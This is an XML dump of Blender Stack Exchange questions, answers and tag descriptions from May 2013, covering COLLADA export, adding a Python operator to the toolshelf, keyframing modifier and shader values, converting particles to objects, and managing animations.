  <row Id="154" PostTypeId="5" CreationDate="2013-05-23T13:13:49.253" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T13:13:49.253" LastActivityDate="2013-05-23T13:13:49.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostTypeId="4" CreationDate="2013-05-23T13:13:49.253" Score="0" Body="Questions pertaining to creating, generating or editing an objects geometry. Object geometry is defined by editing and creating the location and rotation of vertices, edges, and faces." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-08-18T19:07:31.230" LastActivityDate="2013-08-18T19:07:31.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="156" PostTypeId="2" ParentId="140" CreationDate="2013-05-23T13:22:52.953" Score="11" Body="&lt;p&gt;If you scale the vertices to 0 along a specific axis, you can make them flat. For example, if you want to flatten some vertices along the X axis, you would press &lt;kbd&gt;S&lt;/kbd&gt; (to scale) &gt; &lt;kbd&gt;X&lt;/kbd&gt; (for the X axis) &gt; &lt;kbd&gt;0&lt;/kbd&gt; (to scale them to zero).&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="241" LastEditDate="2015-09-26T18:13:54.443" LastActivityDate="2015-09-26T18:13:54.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="5" CreationDate="2013-05-23T13:30:36.970" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T13:30:36.970" LastActivityDate="2013-05-23T13:30:36.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="158" PostTypeId="4" CreationDate="2013-05-23T13:30:36.970" Score="0" Body="The term N-gon is usually used to refer to a polygon with more than four sides. Support for N-gons was added to blender with Bmesh in 2.63" OwnerUserId="12" LastEditorUserId="599" LastEditDate="2013-09-13T02:23:24.720" LastActivityDate="2013-09-13T02:23:24.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostTypeId="2" ParentId="64" CreationDate="2013-05-23T14:00:34.800" Score="4" Body="&lt;p&gt;The &lt;em&gt;Glass BSDF&lt;/em&gt; shader in Cycles should work pretty well. Change the &lt;em&gt;IOR:&lt;/em&gt; value (index of refraction) to 1.333, and you should get perfectly clear water. If your looking for a murky type look, use a &lt;em&gt;Mix Shader&lt;/em&gt; to mix the &lt;em&gt;Glass BSDF&lt;/em&gt; with a &lt;em&gt;Diffuse BSDF&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-06-28T23:43:50.523" LastActivityDate="2016-06-28T23:43:50.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="1" AcceptedAnswerId="163" CreationDate="2013-05-23T14:42:52.477" Score="26" ViewCount="21278" Body="&lt;p&gt;Can Blender export to the COLLADA format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried going to &lt;code&gt;File → Export&lt;/code&gt;, but COLLADA was not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.66.1 on Ubuntu 13.04.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="12" LastEditDate="2013-05-23T21:03:54.720" LastActivityDate="2013-05-30T18:08:04.810" Title="Can Blender export to the COLLADA format?" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="1" AcceptedAnswerId="169" CreationDate="2013-05-23T14:56:28.227" Score="15" ViewCount="2327" Body="&lt;p&gt;I'm just starting to learn scripting in Blender with Python. I made a simple operator following the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_64_release/info_quickstart.html#example-operator&quot;&gt;quickstart intro&lt;/a&gt; on the Blender documentation:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(context):&#xA;    for ob in context.scene.objects:&#xA;        print(ob)&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It then says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once this script runs, SimpleOperator is registered with Blender and can be called from the operator search popup or added to the toolbar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But how do I add it to the toolbar?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="55" LastEditDate="2013-05-23T21:16:25.207" LastActivityDate="2015-11-21T23:56:49.853" Title="Adding operator to the toolshelf?" Tags="&lt;operator&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostTypeId="2" ParentId="160" CreationDate="2013-05-23T14:57:41.353" Score="6" Body="&lt;p&gt;Your build probably wasn't compiled with COLLADA support, otherwise it should be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try grabbing a build from &lt;a href=&quot;http://graphicall.org/linux&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and make sure it has &lt;code&gt;WITH_OPENCOLLADA                 ON&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or make sure you download an official release from the official site.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-05-23T14:57:41.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostTypeId="2" ParentId="160" CreationDate="2013-05-23T15:08:39.643" Score="19" Body="&lt;p&gt;I use Blender builds from the &lt;a href=&quot;https://launchpad.net/%7Eirie/+archive/blender&quot; rel=&quot;noreferrer&quot;&gt;irie PPA&lt;/a&gt;, and I have it by default:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DG0YL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Installing from the PPA:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the PPA: &lt;code&gt;ppa:irie/blender&lt;/code&gt; (&lt;code&gt;sudo add-apt-repository ppa:irie/blender&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Update your sources (Ubuntu Software Center does this automatically, but you will need to do it manually if adding from the command line). (&lt;code&gt;sudo apt-get update&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Install &lt;code&gt;blender&lt;/code&gt; (this package is 2.6x from git) (&lt;code&gt;sudo apt-get install blender&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://askubuntu.com/questions/169542/how-do-i-install-the-latest-blender-3d-builds-from-a-ppa&quot;&gt;https://askubuntu.com/questions/169542/how-do-i-install-the-latest-blender-3d-builds-from-a-ppa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Collada support is enabled and available in these builds.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-05-23T16:42:38.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="1" AcceptedAnswerId="795" CreationDate="2013-05-23T15:17:20.860" Score="22" ViewCount="8668" Body="&lt;p&gt;Suppose I wanted to animate an object growing out of the ground, or turning from a cube to a much smoother shape, could I animate this using modifiers and key frames?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use shape keys to achieve something similar, but modifiers would make it easier and smoother. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2020-11-30T00:57:51.533" Title="Can modifiers such as &quot;Subdivision&quot; and &quot;Array&quot; be &quot;animated&quot;?" Tags="&lt;modifiers&gt;&lt;animation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="165" PostTypeId="2" ParentId="161" CreationDate="2013-05-23T15:23:37.077" Score="10" Body="&lt;p&gt;After the operator already registered, all you need now is to add one more class that inherits from &lt;code&gt;bpy.types.Panel&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SimpleOperatorVisibility(bpy.types.Panel):&#xA;    bl_label = &quot;Simple Operator&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;&#xA;    def draw (self, context):&#xA;        layout=self.layout&#xA;&#xA;        col=layout.column()&#xA;        col.operator(&quot;object.simple_operator&quot;, text=&quot;Simple Operator&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add those lines after class SimpleOperator and before defining &lt;code&gt;register()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="55" LastEditDate="2013-05-23T21:17:13.070" LastActivityDate="2013-05-23T21:17:13.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="1" AcceptedAnswerId="181" CreationDate="2013-05-23T15:23:42.763" Score="20" ViewCount="19876" Body="&lt;p&gt;Is it possible to 'apply' a particle system so that it becomes workable 3d objects instead of being hair or emitter objects? If that's possible, then I should hypothetically be able to apply another hair-particle system to those objects, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use this to make realistic feathers, if possible. The first hair system would be the shafts of the feathers, and the second would be the barbs.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-27T17:36:47.327" LastActivityDate="2020-07-31T17:06:12.723" Title="How can I convert a hair-particle system into 3D, editable objects?" Tags="&lt;particles&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="1" AcceptedAnswerId="171" CreationDate="2013-05-23T15:31:12.360" Score="10" ViewCount="1206" Body="&lt;p&gt;Can modifiers be called in the Blender Game engine and called using actuators?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, could the explode modifier be called when you jump on a box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, are there some modifiers that work better than others (faster rendering), or any general rules of thumb I should use when applying them?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="2217" LastEditDate="2014-07-29T14:00:26.033" LastActivityDate="2014-07-29T14:00:26.033" Title="Can modifiers be called in the Game Engine?" Tags="&lt;game-engine&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="2" ParentId="161" CreationDate="2013-05-23T15:38:13.293" Score="11" Body="&lt;p&gt;To add it it to the toolbar, simply have your class inherit from &lt;code&gt;bpy.types.Panel&lt;/code&gt;, and call the class functions, the key one being &lt;code&gt;draw()&lt;/code&gt;. You choose a &lt;code&gt;space_type&lt;/code&gt;, a &lt;code&gt;region_type&lt;/code&gt; and the context in which the panel should be shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also reference the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_64_release/info_quickstart.html#example-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt; below the one you are using. &lt;a href=&quot;https://www.youtube.com/watch?v=pim5YIfWv-M&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderCookie&lt;/a&gt; also has a tutorial that covers this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;See the modified code&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimplePanel(bpy.types.Panel):&#xA;    bl_id_name = &quot;object.simple_operator&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;    bl_label = &quot;Simple Panel&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column(align=True)&#xA;&#xA;        col.label(text=&quot;Objects in the scene:&quot;)&#xA;&#xA;        col2 = layout.column(align=True)&#xA;        for ob in context.scene.objects:&#xA;            col2.label(text=str(ob.name))&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimplePanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimplePanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8UEO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="2217" LastEditDate="2015-11-21T23:56:49.853" LastActivityDate="2015-11-21T23:56:49.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="2" ParentId="164" CreationDate="2013-05-23T15:39:14.357" Score="23" Body="&lt;p&gt;You sure can! You can animate any of the values in the modifiers by &lt;strong&gt;Right Clicking&lt;/strong&gt; on the field and choosing &lt;em&gt;Insert Keyframe&lt;/em&gt;. Then insert another frame further down the timeline where you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uOCDe.png&quot; alt=&quot;Inserting a keyframe on a modifier value&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also insert keyframes from a value by hovering your mouse on it and pressing &lt;kbd&gt;I&lt;/kbd&gt;, or you can remove keyframes on the current frame by pressing &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="228" LastEditDate="2013-06-08T19:00:32.763" LastActivityDate="2013-06-08T19:00:32.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostTypeId="2" ParentId="167" CreationDate="2013-05-23T15:55:42.813" Score="7" Body="&lt;p&gt;While certain mesh modifiers like subdiv and array modifiers works* in the game engine, modifiers cannot be called while you are in the game engine. (i.e. you cannot create an explode or array modifier using actuators)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Actually, I would suggest baking the mesh modifiers anyway before you run the game. Otherwise you might run into &lt;a href=&quot;http://projects.blender.org/tracker/?func=detail&amp;amp;aid=23894&amp;amp;group_id=9&amp;amp;atid=306&quot;&gt;physics bounding box issues&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-05-23T16:08:27.353" LastActivityDate="2013-05-23T16:08:27.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostTypeId="5" CreationDate="2013-05-23T16:05:28.613" Score="0" Body="&lt;p&gt;Importing on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/files/import_export.html#importing-exporting-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-06T07:11:42.627" LastActivityDate="2020-10-06T07:11:42.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="173" PostTypeId="4" CreationDate="2013-05-23T16:05:28.613" Score="0" Body="Questions involving import-compatibility with other graphics software. Importing involves converting an external file type into a Blender file, for the purpose of editing or otherwise manipulating that file." OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-23T21:17:05.710" LastActivityDate="2013-05-23T21:17:05.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostTypeId="5" CreationDate="2013-05-23T16:06:48.430" Score="0" Body="&lt;p&gt;See &lt;em&gt;File Export&lt;/em&gt; documentation in the &lt;a href=&quot;http://www.blender.org/manual/data_system/files/import_export.html&quot; rel=&quot;nofollow&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2015-06-03T08:51:13.383" LastActivityDate="2015-06-03T08:51:13.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="4" CreationDate="2013-05-23T16:06:48.430" Score="0" Body="Questions involving export-compatibility with other graphics software. Exporting involves converting Blender-native file into an external file type, for the purpose of editing or viewing that file in another program." OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-23T21:17:09.413" LastActivityDate="2013-05-23T21:17:09.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="1" AcceptedAnswerId="177" CreationDate="2013-05-23T16:27:48.857" Score="16" ViewCount="16235" Body="&lt;p&gt;For a scene, I have to change shader parameters (using nodes in Cycles) as time goes on in the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked for a node that inputs a time sweep or frame number, but neither is available in Cycles. Am I looking in the wrong place? Or is there a workaround/trick I don't know about?&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="68" LastEditDate="2016-12-01T15:16:00.320" LastActivityDate="2016-12-01T15:16:00.320" Title="How can I animate my Cycles shaders?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostTypeId="2" ParentId="176" CreationDate="2013-05-23T16:37:08.100" Score="17" Body="&lt;p&gt;You can keyframe any value on the nodes by &lt;strong&gt;Right Clicking&lt;/strong&gt; on the value and then choosing &lt;em&gt;Insert Keyframe&lt;/em&gt;. This will set a keyframe on the current frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add a keyframe the field will turn yellow to indicate there's a keyframe on that frame. If you move along the timeline, the field will turn green to indicate the field is keyframed, but not on the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOWIX.png&quot; alt=&quot;Inserting a keyframe on a node value&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-23T16:37:08.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="5" CreationDate="2013-05-23T16:40:02.070" Score="0" Body="&lt;p&gt;COLLADA on the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/import_export/collada.html#collada&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt; and on &lt;a href=&quot;http://en.wikipedia.org/wiki/COLLADA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-06T07:11:23.343" LastActivityDate="2020-10-06T07:11:23.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="179" PostTypeId="4" CreationDate="2013-05-23T16:40:02.070" Score="0" Body="COLLADA (.dae) is a 3D content format based on xml managed by the Khronos Group. COLLADA was designed to act as an exchange format between different applications." OwnerUserId="80" LastEditorUserId="599" LastEditDate="2013-09-18T16:55:34.100" LastActivityDate="2013-09-18T16:55:34.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="2" ParentId="160" CreationDate="2013-05-23T16:40:50.823" Score="3" Body="&lt;p&gt;Collada file export should come with Blender 2.66a. However, if it isn't installed, there are a number of external plug-ins you can use to get full-featured Collada compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best one of these you can download from &lt;a href=&quot;http://sourceforge.net/projects/colladablender/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/colladablender/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work for you, you can always try exporting to one of the other file type options, and then using an external program to import/convert into a Collada file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note: the above link points to a blender 2.49 script. it will not work with recent Blender versions!&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="248" LastEditDate="2013-05-30T18:08:04.810" LastActivityDate="2013-05-30T18:08:04.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="181" PostTypeId="2" ParentId="166" CreationDate="2013-05-23T16:49:16.433" Score="20" Body="&lt;p&gt;In the modifier panel click the convert button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uBSOh.png&quot; alt=&quot;Convert button&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things to note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're using an object, the objects will be linked when converted.&lt;/li&gt;&#xA;&lt;li&gt;The original emitter will continue to emit particles. Make sure to either delete the emitter, or delete the particle system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By the way, CGCookie has a &lt;a href=&quot;https://vimeo.com/11345968&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/modeling-feathery-wings/&quot; rel=&quot;noreferrer&quot;&gt;archive&lt;/a&gt;) on creating a feather if you're interested.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2015-11-25T19:29:03.857" LastActivityDate="2015-11-25T19:29:03.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostTypeId="1" AcceptedAnswerId="17945" CreationDate="2013-05-23T17:12:43.397" Score="16" ViewCount="11989" Body="&lt;p&gt;This is something that has been irking me for a while, as I've been working on a car project. I'm trying to create a paint (in cycles) similar to the the material in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7GIG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, whenever I try to make it, it always comes out looking to diffused or too sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M83We.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTmYl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2014-10-18T20:23:36.317" LastActivityDate="2020-01-05T13:39:41.083" Title="How To Create a Matte Car Paint Material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="1" AcceptedAnswerId="184" CreationDate="2013-05-23T17:21:40.773" Score="40" ViewCount="68944" Body="&lt;p&gt;The way I currently use animations is just one long timeline. All my separate animations are lined up back to back on this single timeline. I keep the start/end frame numbers in a separate file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This becomes a problem when I want to expand, shrink or alter an animation. Since the length of the animation changes, the start/end frames of all subsequent animations also changes. This requires me to manually parse the timeline and update my file with the new start/end frames. The file looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:0:6:6=SPECIAL_SETUP&#xA;7:7:22:22=ATTACK_1_FireTurret&#xA;23:23:44:44=IDLE_ANIMATION_1_Sweep&#xA;45:45:55:55=IDLE_ANIMATION_30_Stationary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the format is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Start frame]:[Loop start]:[Loop end]:[End frame]=Name of animation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to not do this anymore. Since it can get messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I have multiple animations, each with their own timeline, inside a single .blend file?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a way to place markers in my timeline that can be used to automatically generate a file like the above. The markers would ideally move with the frame they are attached to, not the specific frame number.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-06-04T23:35:22.393" LastActivityDate="2020-07-30T04:08:59.473" Title="How can I manage multiple animations in one .blend file?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="2" ParentId="183" CreationDate="2013-05-23T17:25:00.143" Score="30" Body="&lt;p&gt;If you go to the &lt;em&gt;Dopesheet View&lt;/em&gt; you can create and name separate animations with the &lt;em&gt;Action Editor&lt;/em&gt; pane. You can also use the main &lt;em&gt;Dopesheet&lt;/em&gt; pane to scale your animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QSvzV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these animations as it relates to the objects do have their own separate timelines within Blender and can be linked or copied to other &lt;code&gt;.blend&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can press &lt;kbd&gt;M&lt;/kbd&gt; in the timeline to add a marker. I would really recommend desisting from the approach you have been using as it's very inefficient and is prone to error.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-04T23:56:49.453" LastActivityDate="2013-06-04T23:56:49.453" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="2" ParentId="136" CreationDate="2013-05-23T17:33:56.713" Score="5" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;noreferrer&quot;&gt;remesh modifier&lt;/a&gt; to convert it to all of the triangles to quads.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-23T17:33:56.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="1" AcceptedAnswerId="187" CreationDate="2013-05-23T17:44:24.193" Score="28" ViewCount="29691" Body="&lt;p&gt;How can I change Blender from the default cube/lamp/camera default setup? Also, is it possible to change other features, such as the default view direction (Top, Side, etc) or the Editor type (3D View, Node Editor, Graph Editor, etc)?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="12" LastEditDate="2013-05-23T18:01:10.230" LastActivityDate="2019-02-14T23:49:40.337" Title="How to change Blender's default startup settings?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="2" ParentId="186" CreationDate="2013-05-23T17:46:11.720" Score="40" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; will save your current settings and setup as the default startup view, meaning it will set everything as the default including the current view(s), whatever data is loaded &lt;em&gt;(images, models)&lt;/em&gt;, and the &lt;em&gt;User Interface&lt;/em&gt;. This overrides the startup .blend file found in the config folder and can be used on another machine or similar version of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can revert back to the factory defaults at any time by using &lt;em&gt;File &gt; Load Factory Settings&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xbw7B.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xbw7B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-07-21T01:21:44.283" LastActivityDate="2016-07-21T01:21:44.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
